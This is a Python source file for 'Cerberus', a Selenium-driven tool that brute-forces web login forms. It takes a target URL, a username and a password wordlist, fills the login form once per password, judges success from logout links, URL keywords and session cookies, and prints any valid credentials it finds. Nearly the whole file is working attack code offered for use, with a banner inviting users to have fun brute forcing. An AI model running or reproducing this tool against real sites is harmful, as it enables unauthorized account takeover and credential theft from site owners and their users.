#!/usr/bin/env python3
import argparse
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.firefox.service import Service
from selenium.common.exceptions import (
    NoSuchElementException,
    TimeoutException,
    WebDriverException,
)
gecko_path = "/usr/local/bin/geckodriver"
# Terminal color codes
def c(code, msg): return f"\033[{code}m{msg}\033[0m"

# Banner
def print_banner():
    print(c("1;31", r"""
 ██████╗███████╗██████╗ ██████╗ ███████╗██████╗ ██╗   ██╗███████╗  |  Welcome to Cerberus
██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║   ██║██╔════╝  |  Version 0.1
██║     █████╗  ██████╔╝██████╔╝█████╗  ██████╔╝██║   ██║███████╗  |  https://j-tech.com.ng
██║     ██╔══╝  ██╔══██╗██╔══██╗██╔══╝  ██╔══██╗██║   ██║╚════██║  |  Using Pyth0n 3
╚██████╗███████╗██║  ██║██║  ██║███████╗██║  ██║╚██████╔╝███████║  |  V0.2 coming s00n..
 ╚═════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝  |  Hav3 fun brut3 F0rcing
                 v0.1 - [Browser Auth Cracker]
        Developed by: J-TECH (https://j-tech.com.ng)
"""))
    print(c("1;32", """
Cerberus is a Python-based brute-force tool built with Selenium for testing login credentials on web applications. 
It automates login attempts using a provided username and a wordlist of potential passwords. 
The script performs various verification checks (e.g., presence of logout button, URL patterns, session cookies) 
to determine if a login attempt was successful! Version 0.2 will have much more greater abilities.
"""))

# Main detection logic
def is_login_successful(driver, user, passw):
    verification_score = 0

    try:
        WebDriverWait(driver, 5).until(
            EC.presence_of_element_located((By.PARTIAL_LINK_TEXT, "Logout"))
        )
        print(c("1;32", "[+] Logout button detected"))
        return True
    except:
        pass

    current_url = driver.current_url.lower()
    failure_urls = ["forgot", "reset", "error", "fail", "denied"]
    success_urls = ["dashboard", "profile", "admin", "welcome", "home"]

    if any(url in current_url for url in success_urls):
        print(c("1;32", f"[+] Success URL matched: {current_url}"))
        verification_score += 2
    if any(url in current_url for url in failure_urls):
        print(c("1;31", f"[-] Failure URL matched: {current_url}"))
        verification_score -= 2

    try:
        driver.find_element(By.NAME, user)
        driver.find_element(By.NAME, passw)
        print(c("1;31", "[-] Login form still present"))
        verification_score -= 2
    except NoSuchElementException:
        print(c("1;32", "[+] Login form disappeared"))
        verification_score += 2

    if driver.get_cookie("sessionid") or driver.get_cookie("auth_token"):
        print(c("1;32", "[+] Session cookie detected"))
        verification_score += 1

    print(c("1;33", f"[*] Verification score: {verification_score}"))
    return verification_score >= 2

# Main bruteforce logic
def brute_force(login_url, username, wordlist_path, user_field_name, pass_field_name, attempts):
    try:
        with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
            passwords = f.read().splitlines()
    except FileNotFoundError:
        print(c("1;31", "[!] Wordlist not found"))
        return

    
    service = Service(executable_path=gecko_path)
    driver = webdriver.Firefox(service=service)


    try:
        for attempt in range(attempts):
            for password in passwords:
                print(c("1;36", f"\n[*] Try {attempt+1}/{attempts} - Testing: {password}"))

                try:
                    driver.get(login_url)
                    WebDriverWait(driver, 5).until(
                        EC.presence_of_element_located((By.NAME, user_field_name)))
                    WebDriverWait(driver, 5).until(
                        EC.presence_of_element_located((By.NAME, pass_field_name)))

                    user_field = driver.find_element(By.NAME, user_field_name)
                    pass_field = driver.find_element(By.NAME, pass_field_name)

                    user_field.clear()
                    user_field.send_keys(username)
                    pass_field.clear()
                    pass_field.send_keys(password)
                    pass_field.submit()

                    try:
                        WebDriverWait(driver, 5).until(
                            lambda d: d.current_url != login_url or 
                            d.find_elements(By.XPATH, "//*[contains(text(),'Loading')]"))
                    except TimeoutException:
                        print(c("1;31", "[!] Page didn't change after submission"))

                    if is_login_successful(driver, user_field_name, pass_field_name):
                        print(c("1;32", f"\n[SUCCESS] Valid credentials found!"))
                        print(c("1;32", f"Username: {username}"))
                        print(c("1;32", f"Password: {password}"))
                        return

                    print(c("1;31", "[!] Login attempt failed"))

                except Exception as e:
                    print(c("1;31", f"[!] Error: {str(e)}"))
                    driver.delete_all_cookies()
                    driver.get("about:blank")

    finally:
        driver.quit()
        print(c("1;31", "\n[-] Exhausted all attempts. Password not found."))

# CLI entry point
def main():
    print_banner()

    parser = argparse.ArgumentParser(description="Cerberus | Web Login Brute-Force Tool (Selenium-powered)")
    parser.add_argument("url", help="Login URL to attack")
    parser.add_argument("username", help="Username to test")
    parser.add_argument("wordlist", help="Path to password wordlist")
    parser.add_argument("--user-field", required=True, help="Name of the username input field")
    parser.add_argument("--pass-field", required=True, help="Name of the password input field")
    parser.add_argument("--attempts", type=int, default=2, help="Retry attempts per password (default: 2)")
    
    args = parser.parse_args()

    brute_force(args.url, args.username, args.wordlist, args.user_field, args.pass_field, args.attempts)

if __name__ == "__main__":
    main()
